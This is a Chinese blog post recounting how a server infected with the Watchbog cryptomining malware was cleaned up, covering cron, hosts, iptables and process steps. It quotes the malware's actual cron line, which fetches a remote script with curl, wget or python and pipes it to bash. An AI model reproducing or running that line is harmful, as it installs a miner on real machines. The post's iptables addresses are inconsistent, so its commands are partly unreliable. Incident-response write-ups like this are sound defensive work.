记一次生产服务器Watchbog挖矿病毒程序排查过程
概述
最近运气不太好,居然有台服务器被挖矿了,下面记录下问题发生的过程和解决方法,仅供参考。
一、Watchbog挖矿病毒
1、服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示:
2、杀掉会话
发现用kill杀掉后,这个进程还是会隔一会自动起来,很明显被加入了定时任务,检查所示:
*/9 * * * * (curl -fsSL https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||wget -q -O- https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||python -c 'import urllib2 as fbi;print fbi.urlopen("ht tps://github.com/luckysBoys/lucks/blob/master/5.sh").read()'||curl -fsSL https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||wget -q -O - https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||curl -fsSLk https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh -m 90||wget -q -O - https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh --no-check-certificate -t 2 -T 60)|bash
打开这个URL,发现像是一堆base64的密文,密文地址。
3、当清除掉定时任务的内容之后,隔了一会,其又被加入了如上一模一样的内容,所以该病毒程序不是一般的病毒程序。
4、经过后来的了解,发现该进程watchbog为被植入的挖矿程序,该程序会在cron下面写入脚本,定期去pastebin.com下载木马开始挖矿,如果删除不彻底仍然会不定期启动这个挖矿程序。
二、解决过程
1、 修改/etc/hosts
通过观察定时任务内容,可以发现几个恶意网址,分别如下:
1)raw.githubusercontent.com 2)github.com
先将上述这些地址重定向到本地
2、防火墙控制出入流量
将上述被攻击者携带的域名所对应的的ip地址进行ip限制。
--比如raw.githubusercontent.com对应的ip为10.20.208.21 iptables -A INPUT -s 10.20.209.21 -j DROP iptables -A OUTPUT -s 10.20.209.21 -j DROP iptables -A OUTPUT -j DROP -d 10.20.209.2 --保存修改内容 /sbin/service iptables save
3、移除curl get脚本
因为该挖矿程序会借助curl、wget命令去下载病毒,所以第一时间我们需要进行如下操作:
mv /usr/bin/curl /usr/bin/lruc mv /usr/bin/wget /usr/bin/tegw
如果确认病毒彻底被删除,我们可以不需要操作。
4、 删掉cron里面的相关任务
crontab -l /etc/cron.d /etc/cron.deny /etc/cron.monthly /etc/cron.daily /etc/cron.hourly /etc/crontab /etc/cron.weekly
上述8个与cron相关的文件目录我们都需要仔细检查一遍,凡是有关不知名的域名等信息都要彻底删除。
1) crontab -l
2)/etc/cron.d
该目录下新增了好几个命令:appache、root、system
3)/etc/cron.deny
没有发现
4)/etc/cron.monthly
5)/etc/cron.daily
6)/etc/cron.hourly
7)/etc/crontab
在crontab文件中还发现了新的潜藏命令httpntp、ftpdns
8)/etc/cron.weekly
没有发现
最后在用find过滤一遍,确保完全清除干净。
5、 删除恶意命令
同时我们还发现了恶意命令/bin/httpntp、/bin/ftpsdns、/usr/bin/watchbog
之所以看到这些恶意命令,是从定时任务日志(/var/log/cron)中发现的。
6、 删除tmp目录下timesyncc.service文件
文件详情如下:
7、杀掉watchbog进程
ps -ef|grep watchbog|awk '{print $2}'|xargs kill -9
总结
面对挖矿进程我简单总结了以下几点,如果遇到挖矿进程处理先后顺序如下:
1)查看定时任务,找到挖矿程序在执行的内容。
2)将恶意网址的hosts全部重定向到本地(127.0.0.1)
3)仔细查看审核与定时任务有关的文件和目录,进行清除
4)删除恶意的命令与包,重命名系统中被利用的命令
5)杀掉对应恶意进程(为什么放到最后呢?因为就算最早杀掉,其还是会因为定时任务等等自动启动)
觉得有用的朋友多帮忙转发哦!后面会分享更多devops和DBA方面的内容,感兴趣的朋友可以关注下~